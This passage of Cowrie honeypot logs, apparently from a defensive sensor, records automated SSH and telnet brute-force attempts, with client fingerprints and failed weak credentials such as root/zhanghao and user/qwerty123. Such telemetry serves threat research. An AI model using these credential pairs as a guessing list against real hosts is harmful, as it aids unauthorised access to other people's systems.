,"aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:22.630158Z","src_ip":"146.190.154.85","session":"1513bb8dfa40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banana","password":"banana","message":"login attempt [banana/banana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:22.906801Z","src_ip":"146.190.154.85","session":"1513bb8dfa40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:23.981392Z","src_ip":"146.190.154.85","session":"1513bb8dfa40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.903353214263916,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:42.482664Z","src_ip":"170.64.224.25","session":"9cf5baec1e33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":44088,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3c3cdc6ed0e","protocol":"ssh","message":"New connection: 182.93.7.194:44088 (159.203.135.109:22) [session: e3c3cdc6ed0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:50.487665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:50.492425Z","src_ip":"182.93.7.194","session":"e3c3cdc6ed0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:50.729737Z","src_ip":"182.93.7.194","session":"e3c3cdc6ed0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracker","password":"tracker123","message":"login attempt [tracker/tracker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:51.612787Z","src_ip":"182.93.7.194","session":"e3c3cdc6ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:52.827386Z","src_ip":"182.93.7.194","session":"e3c3cdc6ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":35202,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b4140133856","protocol":"ssh","message":"New connection: 154.18.197.35:35202 (159.203.135.109:22) [session: 0b4140133856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:53.575087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:53.579238Z","src_ip":"154.18.197.35","session":"0b4140133856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:53.803247Z","src_ip":"154.18.197.35","session":"0b4140133856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhanghao","message":"login attempt [root/zhanghao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:54.732589Z","src_ip":"154.18.197.35","session":"0b4140133856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":39782,"dst_ip":"159.203.135.109","dst_port":22,"session":"df11b80aaf9f","protocol":"ssh","message":"New connection: 159.65.58.200:39782 (159.203.135.109:22) [session: df11b80aaf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:55.194747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:55.410558Z","src_ip":"159.65.58.200","session":"df11b80aaf9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:55.413584Z","src_ip":"159.65.58.200","session":"df11b80aaf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:55.961768Z","src_ip":"154.18.197.35","session":"0b4140133856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"star","password":"123456","message":"login attempt [star/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:56.731993Z","src_ip":"159.65.58.200","session":"df11b80aaf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:58.021830Z","src_ip":"159.65.58.200","session":"df11b80aaf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36162,"dst_ip":"10.17.0.5","dst_port":22,"session":"343e23f796e8","protocol":"ssh","message":"New connection: 91.92.40.4:36162 (10.17.0.5:22) [session: 343e23f796e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:59.998283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:59:00.003676Z","src_ip":"91.92.40.4","session":"343e23f796e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:59:00.089808Z","src_ip":"91.92.40.4","session":"343e23f796e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty123","message":"login attempt [user/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:59:00.357536Z","src_ip":"91.92.40.4","session":"343e23f796e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:59:01.441096Z","src_ip":"91.92.40.4","session":"343e23f796e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.62495183944702,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:59:12.097612Z","src_ip":"170.64.224.25","session":"a9906c3937f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"4acad3a55cd4","protocol":"ssh","message":"New connection: 146.190.154.85:38268 (159.203.135.109:22) [session: 4acad3a55cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:17.942398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:17.948929Z","src_ip":"146.190.154.85","session":"4acad3a55cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:18.017722Z","src_ip":"146.190.154.85","session":"4acad3a55cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fhg","password":"123456","message":"login attempt [fhg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:18.330146Z","src_ip":"146.190.154.85","session":"4acad3a55cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:19.402686Z","src_ip":"146.190.154.85","session":"4acad3a55cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":50768,"dst_ip":"159.203.135.109","dst_port":22,"session":"a010b89fa4c2","protocol":"ssh","message":"New connection: 192.169.249.148:50768 (159.203.135.109:22) [session: a010b89fa4c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:20.343822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:20.348067Z","src_ip":"192.169.249.148","session":"a010b89fa4c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:20.417761Z","src_ip":"192.169.249.148","session":"a010b89fa4c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kabul_afghanistan","password":"kabul123","message":"login attempt [kabul_afghanistan/kabul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:20.622365Z","src_ip":"192.169.249.148","session":"a010b89fa4c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:00:21.690210Z","src_ip":"192.169.249.148","session":"a010b89fa4c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47832,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9fa69ee0851","protocol":"telnet","message":"New connection: 170.64.224.25:47832 (159.203.135.109:23) [session: e9fa69ee0851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:25.208267Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34792,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e7f6aafc4a","protocol":"ssh","message":"New connection: 103.77.242.62:34792 (159.203.135.109:22) [session: 10e7f6aafc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:31.418824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:31.423164Z","src_ip":"103.77.242.62","session":"10e7f6aafc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:31.656919Z","src_ip":"103.77.242.62","session":"10e7f6aafc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051996","message":"login attempt [root/12051996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:32.356211Z","src_ip":"103.77.242.62","session":"10e7f6aafc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:33.592944Z","src_ip":"103.77.242.62","session":"10e7f6aafc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50546,"dst_ip":"10.17.0.5","dst_port":22,"session":"c075acf3bf90","protocol":"ssh","message":"New connection: 91.92.40.4:50546 (10.17.0.5:22) [session: c075acf3bf90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:40.624338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:40.631724Z","src_ip":"91.92.40.4","session":"c075acf3bf90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:40.712785Z","src_ip":"91.92.40.4","session":"c075acf3bf90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123321","message":"login attempt [user/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:01:40.962033Z","src_ip":"91.92.40.4","session":"c075acf3bf90","protocol":"ssh"}
